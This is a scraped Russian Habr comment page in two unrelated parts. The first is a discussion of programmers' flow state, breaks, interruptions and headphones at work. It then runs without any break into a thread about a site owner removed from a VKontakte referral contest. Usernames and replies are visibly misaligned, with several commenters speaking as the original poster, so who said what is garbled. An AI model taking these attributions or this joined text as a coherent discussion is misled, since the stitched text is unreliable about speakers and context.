— вернулся к работе уже со свежими и интересными мыслями

Что думаете, коллеги?
bethrezen
сознательно переключиться на иное и проветриться — одно, а быть прерванным извне — другое
iPavel
Предпочитаю отвлекаться по графику.
Часок поработал, 10 минут отдых.
Главное довести задачу до логического конца, тогда и возвращаться проще!)
А если отвлекают, добавляю пометку в эвернот и продолжаю работать.
alverspb
По ТБ, ОТ и прочим стандартам, нужно делать перерывы на 15 минут каждый час. Для программистов за рабочий день натекает примерно 90 минут перерывов, не считая обеда. Ну во всяком случае у нас так прописано в соответствующих документах.
divanikus
Иногда трудно себя заставить отвлечься хотя бы раз в день. А уж каждый час то и подавно
bethrezen
Если пишешь код в состоянии flow, то лучше не отвлекаться.
OverQuantum
Согласен, но мне проще обдумать/написать/протестировать небольшое кусок и перейти к следующему.
alverspb
Если пишешь код в состоянии flow в течение часа — это очень серьезный повод отвлечься на пересмотр архитектуры, с которой явно что-то не так.
matiouchkine
Не всегда. У меня иногда бывает азарт, чтоли, вроде решил пару ошибок в модуле пофиксить, а потом бах. часов через 5, а у тебя еще плюс пачка готовых методов и еще надцать идей в голове.
Это я про себя пишу, но я админ и разработчик совсем начинающий, и мне это очень интересно. Сейчас вот пишу домашнюю бухгалтерию
foxmuldercp
Если отвлекают — добавляю имя отвлекающего в тетрадь и продолжаю работать.
Colobock
И что становится с теми, кто попал в тетрадь?
compudza
«Вы что, хотите, чтобы он вас всех в книжечку записал???» (с)
Mrrl
Тетрадь смерти?
Looter
Шутки на хабре не всегда выглядят, как шутки.
Colobock
Да вот на днях прям, только вышел на свежий воздух — и через 2 минуты сразу в голове созрело правильное решение. И это не в первый раз.
format1981
Тело связано с мозгом. Вы распрямились, подышали воздухом и ваше бессознательное подсказало вашему мозгу решение.

Есть такая техника. Если есть какая-то проблема, над которой уже долго сидишь, нужно встать, походить, размять мышцы, выпрямить спину и решение в большинстве случаев придет «само».

Самое интересное, что я так делал, а потом узнал, что это те[ника:)
quantum
У курящих такое часто получается во время перекура, причём чисто в фоновом режиме — куришь, общаешься с коллегами или там гимнастику простейшую для глаз делаешь, вроде над задачей не думаешь, но — бац! — новая идея пришла. Если общаешься, то частенько теряешь нить беседы, когда это «бац» происходит, и смотрят на тебя менеджеры или юристы странновато :)
VolCh
Да, порой завидую курящим коллегам. Их зависимость заставляет делать перерывы и выходить на улицу. Я себя заставить не могу
quantum
Угу, один из немногих плюсов курения при сидячей работе, да за монитором — хочешь-не хочешь, а где-то раз в час «вынужден» хоть немного спину выпрямить и мышцы размять, глазам дать отдохнуть и просто отвлечься. В принципе как-то работал с человеком, который сам не курил, но по этим соображениям ходил с нами за компанию (когда тепло на улице): и разминался, и глаза отдыхали, и свежим воздухом дышал (вставал так, чтобы на него не дымили мы), и заставлять себя особо сильно не приходилось — в компании веселее
VolCh
Знакомо. Более того, мой некурящий коллега меня строго по расписанию раз в час дергал: «Идем курить!».
matiouchkine
Отвлекал, значит, от продуктивной работы :)
nekt
курить бросил, теперь мне овечка www.workrave.org помогает встать и пройтись :)
suguby
Хорошая овечка, спасибо.
MikhailEdoshin
Курящие коллеги по этой причине, вполне сознательно не бросают курить. Редко какая вредная привычка позволяет окончательно и бесповоротно «отвлечься» и 5 минут вообще ничего не делать.
Renius
Пейте чистую негазированную воду. Она довольно быстро начинает звать в туалет.
tanenn
Немножко не то, сигареты срабатывают вовремя: завершил логическую мысль, щёлкнуло в голове, пора курить! То есть это «вовремя» может быть через час, а может быть и через три. А тут в туалет захотелось, а процесс в самом разгаре, и думаешь: чёрт с ним, допишу потом опустошу мочевой пузырь)
DartAlex
Может и так. Основной плюс моего метода отсутствие риска заработать рак всего и вся, который всегда невовремя.
tanenn
Задержка мочеиспускания также вредоносна.
Mithgol
Да я вроде и не призываю терпеть.
tanenn
Подтверждаю — когда «в потоке», то о курении можно не вспоминать очень долго, даже больше чем когда сознательно решаешь в очередной раз бросить курить :) И понимаешь, что чтобы бросить курить нужно найти какое-то заполнение в жизни, кроме интересной работы :(
VolCh
Мне таймер на телефоне помогает. Конечно, по таймеру я не бросаю работу, просто заканчиваю текущую подзадачу и делаю перерыв.
yul
Юристы привыкли и относятся нормально, когда я произношу: «Прости я прослушал».
Renius
Меня раздражает, когда отвлекают во время дебаггинга — открыта куча окон, картина вот-вот появится в голове и БАЦ, все пропало :(

А вообще думаю, когда горят сроки то конечно лучше чтобы не отвлекали. Если не горят, то лучше всегда иметь чувство времени, а также научиться писать код «на расслабоне», уметь делить и решать задачу модульно, сознательно не давая контексту раздуваться, таким образом при переключении терять не так много, а может даже и не терять вовсе. Это в идеале, конечно :)
tsabir
Большинство программистов и людей других IT-специальностей просто интроверты. Им свойственно погружение в себя.
dMetrius
Не только поэтому. Это называется состоянием потока и свойственно любым психическим типам.
maxz
Большинство программистов и людей других IT-специальностей просто интроверты. Им свойственно погружение в себя.

Я не интроверт, но во время работы люблю погружаться в себя.
TheShock
Большинство != все
dMetrius
Ну я говорю о том, что возможно нарушена причинно-следственные связи. Вы предположили, что программистам свойственно погружение в себя из-за того, что они интроверты, но вот я не интроверт, но мне тоже свойственно погружение в себя.
TheShock
«Каждая умная женщина — стерва, но не каждая стерва — умная женщина»
dMetrius
Именно об этом я и говорю. Некоторые женщины стервы не потому что они женщины.
TheShock
Ещё раз.
Я не спорю с тем, интроверты программисты или нет.
Я говорю о том, что программисты любят погружаться в себя независимо от того, интроверты они или нет.
dMetrius
Да понял я вашу мысль и согласен с ней ;)
TheShock
Почти все лучшие идеи пришли ко мне не за компом и не в офисе, а в ванной, под душем.
Даже, казалось бы, самые тупиковые проблемы разрешаются сами собой. Идеи валят сами, не нужно даже напрягаться.
Шум воды и осознание того, что никто и ничто не может тебя отвлечь, делают свое дело. Этот кусок времени только твой, даже никто позвонить не сможет.
Порой конечно приходится приходить в себя, понимая, что уже минут 10 трешь себе голову шампунем.
Это полное погружение в себя. Жена не понимает, зачем целый час сидеть под душем.
dMetrius
Так это у вас синдром Менделеева. Он тоже, говорят, таблицу свою любимую во сне увидел. То, о чем не говорят, так это то, сколько сначала нужно работать над проблемой, чтобы ее решение приходило во сне, или же, в вашем случае, в душе :)

Я думаю, у многих подобное наблюдается.
Я тоже большинство рабочих проблем решаю не на работе. Потому уже даже появилась привычка всегда-всегда носить с собой блокнот.
vScherba
В психологии это называется инсайт. Методично грузим мозг некой информацией, а затем даем ему отдых, если данных достаточно, то происходит проникновение в суть проблемы. В каком-то смысле аналогичный принцип работает и с физической тренировкой человека, спортсмен растет, когда спит.
niosus
Еще бы воду зациклить, а то на счетчиках набегает :(
tanenn
Поэтому переписка по email и IM лучше, чем телефонные звонки и личные визиты.
m_a_d
IM, к сожалению, нет. Людям «не в теме» свойственно обижаться, если им в IM не отвечают больше часа, а сосредоточенный программист может не обращать на IM внимание ещё дольше.
OverQuantum
Статус типа «занят» вполне годится, чтобы не обижались.
ximaera
Да, это решает ряд проблем. Хотя некоторых людей не смущает даже статус «оффлайн».
VolCh
Обидеться, когда не ответили из оффлайна? Это что-то новенькое)
ximaera
Я выбрал всегда «on-line» и пущай думают за компом я или специально игнорирую.
Seekeer
За долгие годы выработалась интересная особенность организма — когда работаю, частенько отключается слух. Конечно не как кнопкой выкл, но реакция на внешние раздражители резко падает. Правда, когда тебя какой нибудь гад в этом состоянии вытаскивает на свет божий, хочется прям что нибудь плохое сказать. Тебе что-то говорят, а ты даже не врубаешь, потому что мозг отчаянно сопротивляется, я называю такое состояние «всплытием»… Вернуться назад потом очень тяжело.
Глубина, глубина я твой.
DartAlex
Окружающие в большинстве случаев не понимают и считают это бредом. Из-за этого конфликты и т.д.
sergpenza
Надо мной просто прикалываются. Для большинства знакомых программист — это существо оторванное от мира, живущее в своем маленьком мире. Зато доставляет смотреть как через время они шокируются когда ты не за компом
nesmit
Известно сравнение работы программиста со сном. Если людей будить ночью, да даже один раз например в 3 часа утра, многим не удастся выспаться.
ef_end_y
Самое классное — это ощущение, когда вы уже смотрите на человека, который пытается вам что-то сказать, но все еще не можете понять, переключаться на него или нет. И где-то на подкорке уже понимаете, что он вам что-то говорит, но все еще не понимаете что :)
DIegoR
Смысл поста прост: программист работает в состоянии потока. Вход в это состояние (включая возвращение к контексту, вспоминание где в прошлый раз остановился, или что нужно делать) занимает до получаса. Соответственно 2 пятиминутных отвлечения в течение часа — и все, весь час коту под хвост. А 2 часа работы в потоке равны по продуктивности всему оставшемуся дню.
maxz
Во! Тоже пытался найти эту ссылку, очень хорошо написано, как раз для понимания людьми, далеким от профессии
Frosty
Только хотел кинуть эту ссылку =) Это лучшее обьяснение что я когда либо читал. Если я не ошибаюсь, этот пост когда-то даже вошел в топы
sergpenza
Что интересно, «Deleted Journal», хотя ещё 2 дня назад открывался.
banguit
Интересно, а исследователи выявили хоть одну профессию, представителей которой можно и полезно отвлекать?
Beholder
Есть профессии, где отвлекание не сказывается негативно на работе. Ну, например, грузчик. Выгрузил 5 из 10 мешков с цементом, потом помог электрику лестницу подержать, выгрузил ещё 5 мешков.
kuber
Не факт, мышцы привыкают под определенную нагрузку и выгружать мешки становится легче.
TheShock
С другой стороны чередование нагрузки даёт им отдохнуть.
Vokabre
Пришла в голову следующая картина: Грузчик разгружает фарфоровые сервизы. Его отвлекли и он споткнулся на лестнице.
VolCh
Действительно. Думаю даже звезде порно-индустрии будет неприятно, если ее отвлекут.
kuber
Думаю их там постоянно отвлекают: «Не там лежишь, не туда смотришь и т.д.» ;)
ecroFeG
Правки в процессе компиляции.
dMetrius
Я поддерживаю Свободный проект на дельфи. Сам работаю ит специалистом в банке. заметил что действительно слух отключается, то есть хочется запомнить контекст кода и проблемный вопрос, а уже потом слушать что говорят.

Проект порядка 7 тыс строк кода.

Насчет потока полностью подтверждаю.Нужно время чтобы включится в поток обработки данных, причем сначала в голове а уже потом синхронизировать с кодом написанном на компе…

И да это жутко если программиста отвлекают. Отец писатель и тоже жутко бесится когда мысль бежит а его вытаскивают из его черепной головки.

Кароче. могу сказать что во время мышления и выстраивания связей в мозгу человек входит в своего рода транс. когнитивные способности снижаются на процентов 30 и у человека ослабевает обратная связь с внешним миром. так как он работает во внутреннем.

рекомендую посмотреть фильм ПИ, уж больно напоминает тему этого топика.
Vokabre
Все хорошо в меру =).
SOLON7
Но Крис Парнин считает, что нужно обязательно впадать в крайности.
s0rr0w
В потоке тоже нужно уметь управлять собой. Поток лишь даёт большую способность к организации сложных структур, но это не значит, что структуры нужно усложнять. В общем, сновидения должны быть осознанными ))
Часто отвлекаться из состояния потока — очень утомляет. Конечно, тренировка — это вещь нужная, но тренировка не является самоцелью. С таким же успехом можно привязывать к ногам «гири» и ходить всегда с ними. Но обычно от работника наоборот, нужен конкретный результат, который, как мы видим, значительно снижается, а не некоторый прирост к способностям в неизвестной перспективе (кстати, насколько эффективна такая тренировка, если не «на глазок»?)
elve
Часто отвлекаться из состояния потока — очень утомляет

Утомляет того, кто на этом акцентирует внимание. Лично для меня отрываться от потока уже норма вещей. Ну отвлекли, ну и ладно, работа у меня такая.

В последнее время начал замечать, что мозг продолжает решать задачу даже без концентрации на ней, в фоне. Изменился и подход к решению — генерируется множество вариантов, из-за того что нет состояния торможения, варианты перебираются каждый раз разные. В итоге решение будет качественнее. Как игральные кости, кидаешь несколько раз, смотришь на варианты, оцениваешь свою модель. Время ныряния в состояние потока укорачиваются.

Кстати, парное программирование тоже стимулирует не слишком то и глубоко погружаться в процесс мышления.

Опять же, давайте брать бизнес-проблему. Посадили программиста, а он 4 часа, в полном погружении, писал откровенный бред. Как его не трогать, если это время в утиль пойдет?
s0rr0w
мозг продолжает решать задачу даже без концентрации на ней
Это хорошо работает для стратегических задач. Тактические же задачи отчаянно нуждаются в контексте.
Загадка Эйнштейна — не просто так появилась на свет. На бумаге она решается за минуту. В голове — хорошо, если удастся решить ее за полчаса. Если в течение этого получаса — отвлечь решающего, то ему придется начинать отсчет с начала.
BlessMaster
А ведь внезапное отвлечение людей от работы началось с изобретения и последующего распространения телефона, как ни странно.
s0rr0w
До этого люди разве не разговаривали?
matiouchkine
Разговаривали конечно. Но доступность людей была гораздо ниже. Нельзя было вызвать такси, скорую, или пиццу на дом. Зато теперь все это можно. Но с другой стороны, теперь шеф может выносить мне мозг даже когда он в отпуске на другой стороне земного шара.
iZENfire
внезапное отвлечение людей от работы
внезапное необязательное кратковременное отвлечение людей от работы.

Так-то и Дельвиг мог запросто к Пушкину заявиться и переключить его внимание на баб, например.

BlessMaster
«Во многих компаниях программистам запрещают работать в наушниках» – это либо компании не с программистами, либо не компании вовсе, а приезжий шапито.
FFire
вот-вот, только хотел написать похожий комментарий. Сам работаю в IT, ни разу не слышал о подобном. Я даже и представить не могу, как же можно удерживать хороших программистов, при это запрещая им подобные вещи
matiouchkine
Возможно речь таки идёт о западных компаниях и программистах среднего уровня — там значительно выше конкуренция за рабочие места. А ещё идеология различных open space, где работники должны общаться, старшие обучать по ходу дела младших, все должны быть в непосредственной связи с менеджером и т.п.
folgakauchuk
Хм, думаю, что при обучении явно подразумевается, что человек будет постоянно отвлекаться и переключаться на что-то новое, поэтому такой проблемы не стоит.
Хотя вполне допускаю, что просто не владею данными по западным компаниям.
dark_dar
Ну, я предполагаю, что у них своих корпоративных заморочек не меньше, чем у нас на госпредприятиях. Возможно слово «обучение» лучше заменить на «обмен опытом» и «обмен информацией в проекте» — когда разработчики разных подсистем тесно общаются друг с другом. Но в таких условиях действительно тяжело «погружаться». Да и в целом — мне хватало, когда рядом со мной сидел «начальник» и у него постоянно была масса новых идей: а как то, а как это. Хотя он и сам понимал, что отвлекая меня, он замедляет работу, но в его представлении было, что отвлечься и вернуться к работе ничего не стоит, поэтому отвлекает он не более чем на пару минут. Со временем это просто убивает сам энтузиазм браться за сложный участок работы, поскольку всё равно сейчас дёрнут по какой-нибудь мелочи. И это закрепляется где-то на уровне рефлексов.

В целом же у нас — более менее квалифицированные кадры склонны мигрировать в страны с лучшим климатом, а немногие оставшиеся — в компании с большей зарплатой, поэтому отношение к работникам более лояльное и меньше давление «корпоративными ценностями» и «стилем», охотней идут на встречу ценным работникам. Поэтому это не такая проблема — всегда можно найти условия комфортней или просто потребовать их.
BlessMaster
Тут ведь дело такое. Вот есть кабинет, сидит в нем несколько девелоперов + тимлид. Кабинет просторный, никто никого не смущает. И далее есть следующие варианты:
1. Все сидят и спокойно клацают клавой (возьмем за априори, что он всегда имеет место быть).
2. Кто-то сидит в наушниках и это никому не мешает (удовлетворительно, но см. вариант 4).
3. Кто-то врубает в наущниках рок, и он орет на весь кабинет. При попытке объяснить, что человек своей музыкой мешает всем, зачастую встречаешь агрессию по типу «мне так лучше работается, не нравится — купите себе свои наушники».
4. Кто-то сидит в наушниках и музыка орет хоть и не громко, но человек абсолютно не реагирует на внешние раздражители, и вопрос, который хочется задать всем вслух, приходится задавать по скайпу (а ведь прелесть оффлайн командной работы в том числе в общении).
В общем спорный тут вопрос, про музыку в ушах. Все должно быть в меру. И разумеется, я говорил только про командную работу в одном помещении.
dark_dar
«Все должно быть в меру.» – абсолютно поддерживаю!
BlessMaster
3 — да, очень актуально. Не в плане рока, а вообще музыки. В принципе я к ней отношусь нейтрально в процессе работы, то есть продуктивность и не увеличивает, и не уменьшает, и сам я никогда не включаю, но есть некоторые стили/исполнители/темы, которые вызывают у меня резкую негативную реакцию со всеми вытекающими.
NightGhost
Читайте классиков.
Джоэль Спольски писал об этом 15 лет тому назад!
folgakauchuk
<< Во многих компаниях программистам запрещают работать в наушниках
К черту такие компании!
VolCh
Наверное мне повезло с компанией, в которой работаю сейчас и коллективом. А может на моем лице что-то нарисовано, когда я усердно мыслю, трудясь над задачей, но в такие моменты меня никто не отвлекает… Хотя было время, я даже сам отвлекался на посторонние шумы и очень сложно концетрировался, когда ловил «эффект присутсвия» еще кого-то кроме меня в помещении. Со временем выработался иммунитет от шумов и назойливых манагеров. Еще многое зависит от того, интересна ли вам задача, над которой работаете?! Знаю точно, что меня не отвлечет даже рядом проезжающий танк, когда я «погрузился». Порой, боковым зрением замечаю, как кто-то подходит ко мне, смотрит, разворачивается и уходит) Ждёт моего «возвращения». В основном отвлекают меня только на перекурах. Должно быть я счастливый программист.
samodum
Ты действительно счастливый программист =)

Мне не раз говорили, что по мне «видно», когда я «погружаюсь» — пустой взгляд в монитор, пальцы хреначат по клавиатуре, на внешние раздражители не реагирую. Но никогда, черт побери, НИКОГДА это не останавливало коллег от того, чтобы подойти обратиться, увидеть, что я не реагирую, обратиться еще раз, толкнуть в плечо…
nick4fake
Поэтому не люблю скайп, обязательно кто-то норовит позвонить в самый неподходящий момент, если на текстовое сообщение или EMail можно ответить попозжа, то после звонка (а звонок, например, начальства или заказчика пропустить никак нельзя) войти в прежний ритм работы нужно много времени.
Хотя им этого не объяснишь.
djakson
А в следующей статье ждём «100 способов борьбы с прокрастинацией».
Zhbert
Распечатать и начальнику показать. Когда был программистом, постоянно дергали по какую-то ерунде, еще удивляясь, почему я смотрю на них пустыми глазами или матерюсь.
SergioBarbery
Переслал пост директору и пошел согласовывать с ним периоды неотвлекания меня от программирования в течении дня.
GruZZ
Первое время после перехода с должности разработчика на руководящюю, дико страдал от того, что постоянно все отвлекают для принятия мелких оперативных решений. Потом привык и научился очень быстро переключаться между задачами. Наши мозги неплохо умеют адаптироваться к изменениям условий. Дошло до того, что в особо экстренных случаях могу поддерживать беседу и одновременно писать письмо.

Но да, чтобы словить настоящий flow (я предпочитаю термин «в фокусе») требуется отгородиться от внешнего мира. Другое дело, что руководителю это нужно гораздо реже, чем разработчику. Поэтому своих разработчиков стараюсь не отвлекать. Работаешь в наушниках — молодец.
Zhbert
Vankod
Меня одну неделю девушка чуть ли не каждый день просила отвезти в обед по делам, я в конце неделе уже готов был на крайние меры
ncix
Хорошо сформулировали и выразили то что наверно у многих крутилось в мыслях. Теперь можно распечатать статью и дать почитать некоторым «человекам».
sharamyshara
Актуально. Честно говоря, меня доводили до безумия своими «я понимаю что ты очень занят, но...» или «отвлеку тебя на одну секундочку»
dmrt
И так понятно, что отвлекать — зло, но исследование достойное.
svavan
на нижнем графике ничего не понятно что за оси, что за график. Ужас.
predtech
10 — 15 минут ??:))) хз, у меня от 2 часов до 3 дней :))))))
Scrooge2
Во время зимних выходных решил взять подработку, и поскольку она была на удаленке а оплата по часам, то завел таймер: сажусь за задачу — включаю, решил отвлечься/перекусить/жена дернула — выключаю.
Так вот оказалось что в довольно продуктивные дни работал около 4 часов. В продуктивные дни, которые переходили в ночи — до 6 часов. В непродуктивные — порядка 2х часов. Вот и задумался.
Теперь постоянно хожу в офис и сижу в отдельном кабинете, так смог увеличить время активной работы до 5 часов в день. Да и сам таймер помог понять, что работал в пол силы.
Считаю необходимым отвлекаться, и расслабляться в течении рабочего дня, но сам негодую, когда отвлекают.
5ap
Когда приходится подходить к коллегам, всегда останавливаюсь в поле зрения. Если человек не готов к общению — отхожу.
ishua
Спасибо за статью, обязательно распечатаю и заставлю прочитать всех, кто мешает
willson
И комментарии в виде приложения.
Я сам из Латвии, вчера пришло письмо от администрации Вконтакте, в котором они рассказывали о новом конкурсе для иностранных посетителей. В течение двух недель привлекаешь по своей ссылке новых юзеров, лучшие 30 приглашающих по регионам получают в подарок iPod nano, а в общем рейтинге призы уже посолиднее — ноуты, смартфоны и т.д.

Так уж получилось, что на мой игровой портал ежедневно заходит по 15 тысяч человек и я знаю админов других местных ресурсов. Написал о конкурсе у себя, попросил написать других, прошёлся по скайпу, латышским социалкам и постепенно вылез на первое место по Латвии.

Потом решил устроить акцию для своих посетителей и за кое-какие бонусы на сайте предложил им приглашать своих друзей. Пригласил 5 друзей — бонус.

Ребята активно подключились и я выбрался на первое место в общем рейтинге. Отрыв был довольно большой и с чувством выполненного долга я отправился спать, чтобы сегодня утром обнаружить, что из конкурса меня тихо удалили. Без каких-либо объяснений.

Видимо не хотели огорчать остальных участников.

Зато очень огорчили меня.

P.S. Обнаружил в сообщениях скриншот момента обнуления — pic.ipicture.ru/uploads/091106/KdK32NvX0f.jpg
yrygvay
перенеси в раздел я Негодую!
user3000
Ну что ж хотете, видать конфискат закончился:)
Kostyanych
> перенеси в раздел я Негодую!

Я бы ради такого случая завел раздел «Свинство».
HDg
Или еще лучше «На*балово» (извините за мой французский, но данная ситуация меня оправдывает)
Roschen
там написано, что блоги в нём видны только его подписчикам. а я всё же хочу, чтобы об этом узнало как можно больше людей.
furyk
Лучше напишите об этом случае на своём ресурсе с 15 тыс. ежедневных посетителей, и попросите знакомых админов тоже написать, чтобы ваши посетители не пользовались фкакактом.
Порекомендуйте им Facebook :)
Goodkat
поверьте, они и так им не будут пользоваться :D нам вполне хватает своих социалок.
furyk
И все же, я бы тоже советовал написать. Свинство должно быть как минимум освещено
Halt
ну и зачем вам тогда хабр?! =)
egoholic
А чего вы хотели, победить? Вконтакте?
Ockonal
учитывая мой ресурс и то, как приглашали остальные участники — да, я хотел победить и имел такую возможность.
furyk
чего-то вспомнил: «Женщины любят побежденных, но изменяют им с победителями»
rolinskyigor
Добрый)))
Dalairen
Дуров — кидала? O_o
Napolsky
Спасибо, кэп.
Alaunquirie
думаете это он,
наминусовали невинному человеку!!!
akalend
А тебя ведь и правда кто-то целенаправленно минусит. Забавно, кому ты так насолил.
slepojpyu
Дуров — зол?
shaman3D
Не, тут просто человека кто-то минусит во всех публикациях. В данном случае — Дуров не при чем, я думаю.
slepojpyu
а мне тоже минусов в одном безобидном комментарии про соц-сети накидали… а я сам разработчик соц-сети и знаю их начинку.
Сетевые Менеджеры это ни как иначе…
akalend
может не он лично, но схема лохотрона отчетливо видна 8)
nobody_ru
«Такой большой, а в сказки веришь» (с)
Crack
на халяву уксус сладок :)
ready_pro
Думаю, что для держателей Вконтакта эти призы не такая уж большая сказка. Так, мелочи…
dohlik
Да, многие кидают. НО что бы и такие большие социалки… Хм.
QueryRoom
чем крупней «фирма» тем сильней — кинут, самый лучший пример — государство. Выборы.
furyk
А что можно ожидать от ресурса, который не следит за безопасностью своих пользователей и сам начался с полного копирования фейсбука?
Кстати, а с юридической стороны же это, вроде как, мошенничество?
Alexey_S
habrahabr.ru/blogs/social_networks/ вот тогда куда тебе нужно перенести своё послание
vitashok
спасибо, перенёс
QueryRoom
ru.wikipedia.org/wiki/Вконтакте
Читайте раздел Критика
Envy
а что говорят? почему удалили из конкурса?
yrygvay
ничего не говорят. а кого спрашивать — я не знаю.
furyk
Да прям Павке или Богатову и пишите, пущай ответ держат, смерды.
CrazyMacho
они удаляют неугодные комментарии. не раз проверено.
XaocCPS
Это — да, не отнимешь. Также, как и оперативно вылавливают в десятках тысяч комментариев к очередной новости в «блоге» Дурова людей с «информацией, не соответствующей действительности», либо вешают такие плашки людям, решившим прорекламировать событие или сайт через рекламную сеть.
furyk
Администрацию сайта ВКонтакте. Какие тут могут быть варианты?! Рекомендую в последствии опубликовать переписку, о чём лучше заранее предупредить получателя.
firstbyte
Если проводится конкурс, то должны быть правила. Если правила соблюдены, то можно подать в суд на организаторов. Но для этого конкурс действительно должен быть зарегистрирован в соответствующих инстанциях. Иначе «никакого конкурса и не было».

Об этом уже писали на Хабре, но человека забанили почему-то (pavel-gite.habrahabr.ru).
folone
Вероятно причиной бана стал этот роковой твит
firstbyte
Бред, не помню, чтобы за такие твиты когда-либо банили.
shisoik
А это запрещено? В правилах, вроде, такого нет. Что запрещено «просить друзей поголосовать».
4eese
странно, почему тогда не банят тех, кто делает Podcast 9?
один из создателей в тви тоже просит подобное
twitter.com/pdidenko/status/5475738162
nolled
Тогда тут фигову тучу юзеров можно забанить. Почти каждый, кто пишет тут и есть в твиттере просит плюсануть его пост. И администрация это знает.
nblxa
Да нет, многие хабраюзеры просят поддержать свои топики и за это не банят. Причина другая: [1], [2].
4eese
Я, конечно, не юрист, но информацию о конкурсе можно считать публичной офертой, мне так кажется. С применением соответствующих норм. Сообщение о конкурсе проходило в СМИ, например, на канале «Вести».
Будет иск в суд? Есть юристы? :)
porok
Скорее всего его из-за виртуала забанили. gite.habrahabr.ru/
kulikoff
Скоро Хабр забанят
aleksandrit
тест
tuprikov
я вам удивляюсь, на хабр написали, а организаторам — нет
мало ли какая ошибка или другая причина, а вы сразу «наглый обман»
Pongo
да очевидно всё.

кто-то из моих регистрировал фейк аккаунты — я и сам это видел. думал, администрация удалит эти фейки и оставит остальные, вполне реальные аккаунты.

но они решили пойти лёгким путём.
baal
А сколько фейков было «примерно» зарегистрировано?
furyk
а как я могу это определить?
XaocCPS
Аккаунты же теперь в обязательном порядке подтверждаются номером телефона, или я путаю?
furyk
нет, не путаете — после регистрации требуют активации по мобильнику
shehovn
> ничего не говорят. а кого спрашивать — я не знаю.

Наверное, решили что ты их систему хакнул и себе счетчик накрутил. :)
furyk
Дали айпод?
torkve
У нас в Узбекистане конкурс только начался. По результатам отпишусь.
Root1564
«Я собрал 15 крыжечек от пепси а мне не дали флажок»
Взрослые люди, угу.
Kostyanych
Я собрал 5 канализационных люков, а мне монтеры дали по голове.
Smasher
Соберите 5 флажков и получите свои крыжечки обратно
4eese
Смех-смехом, детство-детством, но вот схема для победы в конкурсе от газировок:

1. Закупаетесь по низким ценам в Ленте (или любой другой супермаркет). Если есть связи/знакомые, закупаетесь оптом с продуктовой базы, это не сложно, их полно.
2. Продаете в 1,5-2 раза дешевле, чем купили, в студенческом общежитии. Лимонад подешевке расходится за пару дней. Условие продажи — вы оставляете себе крышечки, или вам их возвращают позже.
3. Сдаете крышечки.
4. Получаете приз. К примеру, ноутбук, велосипед, зеркалку, айпод.

Вычисления:
Для победы нужны примерно 500 крышечек. Закупаетесь по 15 рублей, продаете по 10. 500х5=2500 рублей. За 2500 рублей и неделю геморроя вы получаете свой ноутбук или велосипед. И даже если вы потратите 5000 или 10000 рублей, велосипед будет круче :)

Я серьезно :)
Люди должны знать правду :)
Smasher
А не проще заработать?
caIIIa
А это не вид бизнеса? По моему наглядно — как за 2500 получить вещь, стоимостью 25000, к примеру.
hshhhhh
а че ФАС без дела сидит, могли бы уже прикрыть (хоть как-нибудь) эту помойку
Enmoore
где вы монополию усмотрели?
goodsprite
ФАС еще и за законодательством о рекламе следит.
exitusletaris
мне больше интересно что они будут делать с 1 января 2010 года, с вступлением закона о персональных данных.
Deepwalker
А что за закон?
Polco
N 152-ФЗ О персональных данных

Разбор некоторых моментов можно почитать тут.
Olegi4
Такое ощущение что это продолжение вчерашней эпопеи. Как меня нагло обманывает Вконтакт, только под другим ником и с другой историей. Или все действительно так плохо?
Mobby
вчера меня тут не было. выходит, я не первый?
Alexey_S
Да, только автора того сообщения заблокировали =)
pvp
а что там было то? Вкратце
motiv
Вкратце, он заработал на каком то там приложении 400 голосов, которые у него аннулировали(вероятно из-за того что заработаны они были не совсем честным путем) После того как ему отказали их вернуть, он решил излить душу и написать все что думает о вконтакте, плюс скрины какие то.
4eese
ФКонтакт изливает свой гной в очередной раз…
NaDiRu
Абсолютно аналогичная ситуация была у меня с только что завершившимся конкурсом с ipod'ами.
Когда вышел на 6-7 место, перестали засчитываться регистрации + все мои пользователи стали «DELETED».
Писал в саппорт и в местную «группу поддержки», никто не отвечает :)
Вывод очевиден
smoked
Хитрость в том что абузу вообще то может написать любой участник конкурса. Сидящий на втором месте — про первого, и так далее.
furyk
Ну если он найдет на что писать, так сказать прикрепит скрин со спамом (я думаю скрин лесом пошлют), а еще лучше даст url(ы) где спамят с reg номером конкурента + мало кто я думаю умеет «правильно» оформлять абузы а vk.com 100% не будут реагировать на абузы настроченные с gmail или с т.п. бесплатных ящиков. И не обязательно же все грязными методами народ гонят на регистрацию, что ели человек имеет свои ресурсы и на них размещает рекламу, по моему тут нет причин жаловаться на него.
smoked
да и вообще, получается я могу зайти, проспамить на каком-то форуме ссылку конкурента и потом сам же написать на него жалобу.

грязь из под ногтей.
Napolsky
Жалобы 1000% не будут рассматривать со всех майлов. + Абузу надо граматно оформить, много ньюансов как сотавить абузу, я сомневаюс что вконтакте все это умеют делать…
smoked
Я не понял абсолютно. Поясните, пожалуйста. Куда можно слать эту вашу «абузу»? Вам известны почтовые ящики тех.поддержки или кого-то из сотрудников ООО «ВКонтакте», да еще и не заброшенных, а вполне реальных и читаемых? Если да, то буду благодарен. Если нет, то пустой трёп, уж простите :) Просто людей, которые знают реальные почтовые адреса руководства вконтакте — единицы.
Vomitus
Никакого спама, регистрация друзей-знакомых заинтересованных иностранцев.
После удаления моего аккаунта решил урвать хотя бы ipod на аккаунты своих знакомых. Так тут вышло еще круче — ни один из зарегистрированных по ссылке пользователей не отобразился в рейтинге и так и осталось висеть «Вы еще никого не пригласили» у четырех моих друзей сразу.
Вообщем-то, таких случаев полный рунет
Muxa
Чем они заинтересованы — исключительно мое дело, которое я разглашать не собираюсь
iNDEx
А для чего тогда конкурс? Ну естественно, человек заинтересован в том чтобы получить приз… В чем криминал?
kurokikaze
А как-то можно позвонить Вконтакт?
iNDEx
ВиКей хуле…
furyk
Утешительным призом, думаю, будет только инвайт на Хабр за +50 к топику :)
iNDEx
Дуров украл мой урожай картошки и перца чили, сволочь!
DRAGOMIR
Вы про Это? )
Muxa
Хм, нет, но похоже тоже =)
iNDEx
Да и так все было ясно с Вконтактом, особенно когда вчера юзер (простите_не_помню_имени) на хабре изливал душу, — написал по поводу выигранного iPod в поддержку Вконтакта, ему ответили что мол то был первый тур сейчас второй тур…

Я как-то особо не в теме и сильно на пост не обратил внимания, пока сегодня Вконтакте не заметил фразу которая явно идет в разрез с ответами в поддержке:
Мы проводим новый конкурс.
Призы: 5 ноутбуков… бла бла бла
Muxa
Те участники, что выиграли первый конкурс практически поголовно пишут, что никаких призов не получили. Части из них пришло сообщение от Вконтакта, призы заказаны и едут из Америки, ждать типо 4-5 недель. o_0

Неужели кто то из участников думал, что пригласив 20 человек сможет получить ноутбук? ))))
iNDEx
